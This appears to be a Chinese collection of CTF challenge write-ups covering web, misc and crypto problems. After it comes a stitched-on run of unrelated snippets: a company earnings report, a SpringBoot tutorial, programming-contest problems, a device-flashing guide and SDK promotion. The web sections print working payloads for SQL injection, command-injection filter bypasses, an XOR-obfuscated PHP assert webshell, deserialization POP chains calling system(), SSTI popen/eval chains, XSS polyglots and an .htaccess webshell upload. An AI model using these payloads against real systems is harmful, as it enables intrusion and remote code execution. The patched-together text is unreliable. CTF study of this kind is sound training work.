文章目录
签到题,F12直接找出flag
首先根据提示传入?wllm=1看看有无回显

然后我们发现了正常回显,接着用单引号试试闭合方式

通过对回显错误信息的分析,为了方便观察,我把包裹的引号隔开’ ‘1’’ LIMIT 0,1 ’
这样我们很容易发现后面多出来了一个引号,由此可知该题为单引号闭合字符型漏洞
下面我们尝试用order by爆出列数

当order by 4的时候返回没有这个clause,我们再尝试使用order by 3无报错,那么下一步进行联合查询
下面直接放出payload
//爆表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
//爆列名
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
//爆字段
?wllm=-1' union select 1,2,group_concat(fllaag) from test_tb--+
得到最终flag

首先进去题目如图
提示post一个url,这里if判断条件里有isset用于判断是否传入了url参数,那就post请求传url=1看看,这里可以用hackbar或者burp suite都可
然后if里面还有一个校验cookie的语句,按提示改就行

回显了一个php文件,直接看看里面是什么

这里过滤了很多,但是没有过滤system和ls,所以我们可以利用其查看文件目录
?url=system('ls');
但是里面没有看到类似flag的东西,那就进入根目录看看,但是空格被过滤了,可以用${IFS}绕过
?url=system('ls${IFS}/');
然后想办法读取文件,cat tac tail都被过滤了,那我们还可以利用nl查看文件内容,这里发现数字被过滤了,我们想到了*来匹配,但是*也被过滤了,尽管如此,我们还可以用?来匹配单个字符
?url=system('nl${IFS}/flllllllll?aaaaaaaaaag');
最后得出flag
下面再再介绍一种非预期解,利用异或然后post传参直接cat读取flag,这里用的师傅的payload,贴上他的博客
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

从这道题的标题便可以猜到这题是在考察php反序列化绕过__wakeup()函数

简单阅读代码可以发现,__wakeup()方法会首先被激活,覆盖变量的值使flag不能被回显,因此这里需要绕过__wakeup()方法,__wakeup函数是在php在使用反序列化函数unserialize()时,会自动调用的函数。只要序列化序列化的中的成员数大于实际成员数,即可绕过。
<?php
class A
{
private $are_you_a_hacker;
public function __construct()
{
$this->are_you_a_hacker='yesyesyes';
}
}
$a=new A();
echo urlencode(serialize($a));
?>
这里是private不能从外面进行赋值,而且序列化后会出现特殊的东西,我们url编码一下方便复制,
O%3A1%3A%22A%22%3A1%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D
然后讲成员数改成2即可,post传入得到flag
data=O%3A1%3A%22A%22%3A2%3A%7Bs%3A19%3A%22%00A%00are_you_a_hacker%22%3Bs%3A9%3A%22yesyesyes%22%3B%7D

看到题目

分析代码,下面的报错是因为多加了一个new Exception类,然而没有对应的catch语句,造成了严重级别的错误使得程序提前退出了,这样反序列化对象不能被正常销毁,__destruct()也就不会被调用,所以需要强制执行。这里贴两篇文章利用PHP垃圾回收机制构造POP链
PHP 原生类的利用
这道题也就是利用这两个知识拿到flag,具体原理上面讲的很清楚就不再赘述,下面给出payload
//关键函数多了个new,因此利用php原生类操作
//找到flag所在文件
<?php
class A
{
public $a='DirectoryIterator';
public $b='glob:///f*';
}
echo serialize(array(new A, new A));
?>
//然后将后面那个序列改成和前面一样即可
?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}i:0;O:1:"A":2:{s:1:"a";s:17:"DirectoryIterator";s:1:"b";s:10:"glob:///f*";}}
//读取文件,并和上面一样修改序列
?newnew=a:2:{i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}i:0;O:1:"A":2:{s:1:"a";s:13:"SplFileObject";s:1:"b";s:12:"/fl1aaaaaaa9";}}
最后得到flag
进入题目可知传入参数source查看class.php文件

然后就是一个反序列化构造pop链的题
<?php
class dstbp
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
($this->cmd)($this->content);
}
}
class m1sery
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: 2.5 years";
}
}
class s0rry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __destruct()
{
echo $this->hint;
}
}
class jiangnaij
{
protected $code;
public function __call($name, $arguments)
{
($this->code)();
}
}
?>
可以从目标函数开始分析,也就是dstbp类里的($this->cmd)($this->content);可以控制变量的值去获取flag,要想执行该函数先激活__invoke()方法,该类在调用函数的方式调用一个对象时会被激活,那么可以利用__call()方法里的($this->code)();激活,该方法又可以被m1sery类中的return $this->ctf->show();激活,那么继续往前推,需要echo $this->hint;来激活__tostring()方法,那么整条链子就构造出来了,下面给出php代码
<?php
class dstbp
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class m1sery
{
public $ctf;
}
class s0rry
{
public $hint;
public $key;
}
class jiangnaij
{
protected $code;
public function __construct($a)
{
$this->code = $a;
}
}
$b=new s0rry();
$c=new m1sery();
$b->hint=$c;
$a=new dstbp('system',"ls /");
$d=new jiangnaij($a);
$c->ctf=$d;
var_dump(urlencode(serialize($b)));
?>
最终拿下flag

这里覆盖掉了环境变量,如果没覆盖也可以用system(‘env’)或者直接看phpinfo

知识点套娃题,由外到内一个一个解开就好了
首先是md5截断比较,写个能跑的脚本就行
from multiprocessing.dummy import Pool as tp
import hashlib
import datetime
knownMd5 = '666666' #已知的md5明文
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:6] == knownMd5:
print(code)
#获取最后时间戳并格式化
fi1 = int(datetime.datetime.now().strftime('%S'))
fi2 = int(datetime.datetime.now().strftime('%f'))
fi = fi1 + fi2 / 1000000
print("您的用时:" + str(fi - st) + "s")
break
list=[]
# 获取初始时间戳并格式化,用于计时,对功能p用没得
st1 = int(datetime.datetime.now().strftime('%S'))
st2 = int(datetime.datetime.now().strftime('%f'))
st = st1 + st2 / 1000000
for i in range(1): # 这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() # 使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
然后是一个md5弱比较,可以用数组绕过,也可以用0e绕过,详细可见这篇文章
接着是一个md5碰撞,php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去
所以我们需要一个,md5前不相等,而md5后全等的
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
最后get传入对应值即可获得flag
<?php
$a=0.58;
echo intval($a * 100);#57
?>
后续更新了hint

根据后台代码将前后两个script标签闭合掉,可以实现xss注入,弹窗弹flag字段即可获得flag
';</script><script>alert('flag')</script><script>var s='1
或者直接使用通用 XSS 攻击字串手动检测 XSS 漏洞
/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert("flag") )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert("flag")//>\x3e`
能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。
flag1:
POST传入
url=http://sudo.cc/flag.php
然后查看源码即可,这里试了短链接重定向绕过但是被过滤了
flag2:
访问/.git得到
flag3:
源码漏洞扫描,用御剑扫就行,flag3在wwwroot.zip里面

根据提示可以猜测是GET型报错注入
首先判断闭合方式,然后用大小写等绕过各种WAF
//爆库
?wllm=-1%27/**/oR/**/extrAcTvAlUe(1,coNCat(0x7e,database()))%23
//爆表
?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(table_name)/**/FROM/**/INFORMATION_SCHEMA.tables/**/WHERE/**/TABLE_SCHEMA=DATABASE())))%23
//爆列名
?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(column_name)/**/FROM/**/INFORMATION_SCHEMA.columns/**/WHERE/**/TABLE_name='test_tb')))%23
//爆字段内容

//这里显示不完全可以用substr()函数截取字符串
?wllm=-1%27/**/OR/**/EXTRACTVALUE(1,CONCAT(0x7e,substr((SELECT/**/GROUP_CONCAT(flag)/**/FROM/**/test_tb),20)))%23
思路是传入图片马,然后用文件包含,连上蚁剑获取flag



import time
import requests
import re
session = requests.session() //会话保持,不然每次都是算第一题
while 1:
url = "http://175.24.172.136:30050/"
a=str(session.get(url).text) //返回网页的内容
result = re.compile(">(.*)= </a></div") //正则匹配到要算的式子
res1=re.compile("</a>加油!还差(.* ?)道题</div>") //匹配到计算的进度
aa=result.findall(a)
f="".join(aa)
r = re.sub("<a style=\"color: #9191ff\">", "", f) //去除匹配中多余的东西
e=r[0:-1]
d=eval(e)
data={
'result':d
}
time.sleep(1)
res = session.post(url=url,data=data)
bb = res1.findall(res.text)
print(bb)
flag = re.compile('(swpu\{.+?\})').findall(res.text)
print(flag)
根据提示,这是一道没有过滤的SSTI漏洞,首先进去看到HINT直接点进去,既然是ssti,我们试试url加上{{7*7}}看看会发生什么

说明我们找对地方咯
查看一手
{{config}}

发现环境变量好像可以利用的样子,那就试试
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}
没想到真出了
当然也可以常规的ls命令列出目录,然后利用cat等读取
下面给出绕过过滤的一些payload
下面开始列出所有子类
//如果关键词被过滤,可以用拼接
{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()}}
然后找一下可利用的子类以及下标
all_class = "<class 'type'>, <class 'weakref'>"
all_class = all_class.split(',')
for n in range(len(all_class)):
if 'os' in all_class[n]:
print('{} {}'.format(n, all_class[n]))
运行如下
PS C:\Users\Administrator\Downloads> python .\code.py
87 <class 'posix.ScandirIterator'>
88 <class 'posix.DirEntry'>
117 <class 'os._wrap_close'>
260 <class 'tempfile._TemporaryFileCloser'>
475 <class 'werkzeug.wsgi.ClosingIterator'>xxxxxxxxxx PS C:\Users\Administrator\Downloads> python .\code.py87 <class 'posix.ScandirIterator'>88 <class 'posix.DirEntry'>117 <class 'os._wrap_close'>260 <class 'tempfile._TemporaryFileCloser'>475 <class 'werkzeug.wsgi.ClosingIterator'>123456
然后执行命令即可
{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('id').read()}}
另外还有一些命令执行的绕过cat、flag等关键字被过滤,简单绕过一下读取flag即可
{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__'].__globals__['popen']('ls').read()}}
如果过滤了{{ . [ _ \x request print string这些
{{ :用{%%}代替
. :用attr()代替
[ :用getitem()代替
\x : 用Unicode代替
print,request,string:不用管用不到,直接执行命令就行
再补充一个
无回显的payload框架:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
使用这个框架可以不用回显就能拿到命令执行的eval方法
首先进行代码审计

上面定义了一个WAF函数,然后需要我们传入两个参数key和file,先要绕过call_user_func()回调函数的返回值弱比较 可以用session_start,error_reporting,json_last_error
接着因为前面已经包含过一次文件了,所以我们要绕过include_once限制
file=php://filter/read=convert.BAse64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
得到一串base64编码的东西,解码后得到flag

根据提示要借助配置文件和编码转换的力量,那么首先传入.htaccess文件
可以使用伪协议,.htacess里伪协议读入,写的图片马用base加密。
AddType application/x-httpd-php .abc
php_value auto_append_file “php://filter/convert.base64-decode/resource=shell.abc”
把后缀.abc当作php解析,然后shell.abc的内容用base64加密。比如<?php phpinfo();?>加密变成PD9waHAgcGhwaW5mbygpOz8+
然后上传马shell.abc,用蚁剑连接即可找出flag
当然这是非预期解,给出的提示蛮多没用到,那么提示是为什么呢,因为本来还有一个绕过open_basedir设置的,这文章介绍的很全面。
下载是个7z文件,那重命名为1.7z解压出一张图片,明显是图片隐写,放到winHEX试一试,发现文件尾有一串看着像摩斯密码的字符串
复制到解密工具解密


32位md5加密后,格式包裹一下就得到flag了
解压后打开py文件,根据题目,这是AES加密算法,给出了密钥和密文以及表

那么直接利用python的AES库解出明文即可
import base64
from Crypto.Cipher import AES
iv = '1229002635654321'
key = 'nssctfneedcrypto'
data = '862EoKZMO3sqpNlzyvIW5G/8MFeAI/zgGXcgi5eNOL8='
def AES_de(key, data):
# 解密过程逆着加密过程写
# 将密文字符串重新编码成二进制形式
data = data.encode("utf-8")
# 将base64的编码解开
data = base64.b64decode(data)
# 创建解密对象
AES_de_obj = AES.new(key.encode("utf-8"), AES.MODE_CBC, iv.encode("utf-8"))
# 完成解密
AES_de_str = AES_de_obj.decrypt(data)
# 去掉补上的空格
AES_de_str = AES_de_str.strip()
# 对明文解码
AES_de_str = AES_de_str.decode("utf-8")
return AES_de_str
data = AES_de(key, data)
print(data) #NSSCTF{NSS_CRYPTO_NEED_YOU_0000}
//给出的信息
data='Boom_MD5****'
flag=MD5(data)
print(flag)
#0618ac93d4631df725bceea74d0*****
不难看出这是md5明文密文缺失,下面给出爆破脚本
import hashlib
for i in range(32, 127):
for j in range(32, 127):
for k in range(32, 127):
for l in range(32, 127):
m = hashlib.md5() # 获取一个md5加密算法对象
m.update(str('Boom_MD5' + chr(i) + chr(j) + chr(k) + chr(l)).encode("utf-8")) # 指定需要加密的字符串
des = m.hexdigest()
if '0618ac93d4631df725bceea74d0' in des: # 如果得到的密文和我们预期的密文相同,输出
print(des)
#data='Boom_MD5****'
#flag=MD5(data)
#print(flag)
#0618ac93d4631df725bceea74d0*****

给了三个文件,密文,公钥和私钥,点进去的内容不难看出这是一道RSA解密
直接放工具梭哈

这道题涉及base32,base45,base62,base64,acill85,然后根据特征来解密就好,basecrack解不了base45,那就给出解密网站,需要科学上网
3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升
如何用IDEA2022创建并初始化一个SpringBoot项目?目录如何用IDEA2022创建并初始化一个SpringBoot项目?0. 环境说明1. 创建SpringBoot项目 2.编写初始化代码0. 环境说明IDEA2022.3.1JDK1.8SpringBoot1. 创建SpringBoot项目 打开IDEA,选择NewProject创建项目。 填写项目名称、项目构建方式、jdk版本,按需要修改项目文件路径等信息。 选择springboot版本以及需要的包,此处只选择了springweb。 此处需特别注意,若你使用的是jdk1
文章目录问题B:芝华士威士忌和他的小猫咪们代码&注释问题C:愿我的弹雨能熄灭你们的痛苦代码注释问题D:猜糖果游戏代码注释问题E:有趣的次方代码注释问题F:这是一个简单题代码&注释问题G:打印矩阵代码注释问题H:scz的简单考验代码注释问题I:完美区间代码&注释问题J:是狂热的小迷妹一枚吖~代码&注释2022年10月23日周赛ZZULIOJ问题B:芝华士威士忌和他的小猫咪们时间限制:1Sec内存限制:128MB题目描述芝华士威士忌很喜欢带着他的猫咪们一块跑着玩。但是小猫咪们很懒,只有在离他y米以内才愿意和他一块跑。这天他在坐标为x的位置,他想和他的猫咪们一块跑着玩。有n个小猫咪,第i个小猫咪在坐
代码请进行一定修改后使用,本代码保证100%通过率,本题目提供了java、python、c++三种代码。复盘思路在文章的最后题目描述祖国西北部有一片大片荒地,其中零星的分布着一些湖泊,保护区,矿区;整体上常年光照良好,但是也有一些地区光照不太好。某电力公司希望在这里建设多个光伏电站,生产清洁能源对每平方公里的土地进行了发电评估,其中不能建设的区域发电量为0kw,可以发电的区域根据光照,地形等给出了每平方公里年发电量x千瓦。我们希望能够找到其中集中的矩形区域建设电站,能够获得良好的收益。输入描述第一行输入为调研的地区长,宽,以及准备建设的电站【长宽相等,为正方形】的边长最低要求的发电量之后每行为
https://cloud.189.cn/t/BJbYreYbmUj2(访问码:djz6)(网盘2022-4-1更新)一、刷入armbian。1.1使用AmlBurnTool软件烧录首选底包至固件。烧录完成后断开玩客云电源备用。(靠近hdmi的那个口子。)1.2使用WIn32diskimager软件将emmc固件写入U盘。1.3写入成功后,先将U盘插入玩客云靠近网线接口端的USB口,再接入电源。玩客云通电后指示灯会先亮绿灯,再亮蓝灯,红蓝闪烁,最后蓝灯常亮。等到确定蓝灯常亮后,再拔掉U盘、电源。(最好蓝灯常亮后,启动一次玩客云,看看ssh是否正常。)1.4使用WIn32diskimager写入
我有一个pdf文件。我想将其所有页面向右旋转90度。如何使用Prawngem实现此目的?当我尝试使用现有的pdf作为模板并尝试对其进行旋转时,它不起作用。我徒劳地尝试了以下。require'prawn/core'require'prawn/layout'require'prawn/measurement_extensions'pdf=Prawn::Document.new(:page_size=>[4.in,6.in],:template=>'orig.pdf',:layout=>'potrait')do|p|p.rotate(90)endpdf.render_file("./test
Ai-Bot基于流行的Node.js和JavaScript语言的一款新自动化框架,支持Windows和Android自动化。1、Windowsxpath元素定位算法支持支持Windows应用、.NET、WPF、Qt、Java和Electron客户端程序和ie、edgechrome浏览器2、Android支持原生APP和H5界面,元素定位速度是appium十倍,无线远程自动化操作多台安卓设备3、基于opencv图色算法,支持找图和多点找色,1080*2340全分辨率找图50MS以内4、内置免费OCR人工智能技术,无限制获取图片文字和找字功能。5、框架协议开源,除官方node.jsSDK外,用户可
问题描述小蓝负责一个公司的考勤系统,他每天都需要根据员工刷卡的情况来确定每个员工是否到岗。当员工刷卡时,会在后台留下一条记录,包括刷卡的时间和员工编号,只要在一天中员工刷过一次卡,就认为他到岗了。现在小蓝导出了一天中所有员工的刷卡记录,请将所有到岗员工的员工编号列出。输入格式输入的第一行包含一个正整数n,表示一天中所有员工的刷卡记录的条数。接下来n行,每行包含一条刷卡记录,每条刷卡记录的格式为:HH:MM:SSID其中HH:MM:SS表示刷卡时间,HH为一个0到23之间的两位十进制整数(可能含前导0)表示时,MM为一个0到59之间的两位十进制整数(可能含前导0)表示分,SS为一个0到59之间的
2022年山东省职业院校技能大赛高职组“信息安全管理与评估”赛项竞赛规程一、赛项名称赛项名称:信息安全管理与评估英文名称:InformationSecurityManagementandEvaluation赛项组别:高职组赛项归属:电子与信息大类二、竞赛目的(一)引领教学改革通过大赛引领专业教学改革,实现以赛促教、以赛促学、以赛促改的产教结合格局,提升专业培养服务社会和行业发展的能力,为国家信息安全行业培养选拔技术技能型人才。2022年信息安全管理与评估赛项延续历届赛项的竞赛内容,通过赛项检验参赛选手安全网络组建、按照等保要求加固网络系统、安全架构、渗透测试、攻防实战等技术能力,检验参赛队计划
2022年,FinClip团队进行了24个产品迭代,为了丰富FinClip的平台能力,除了核心SDK之外,我们还为开发者们提供了扩展SDK,扩展SDK是一个依赖核心SDK的库,里面提供了核心SDK中所没有的各种小程序API。官方希望通过丰富的扩展SDK库可以帮助开发者减少开发工作,把更多的精力用到实现业务上。那本期,小编就为大家推荐扩展SDK库中8个功能稳定又实用的SDK!(更多详细内容请点击)以下分享以AndroidSDK文件为例,您可登录 资源下载中心下载AndroidSDK文件,扩展SDK也处于在所下载的压缩包中。1、WeChatSDK微信SDK的快捷接入,提供调起微信通过微信小程序获得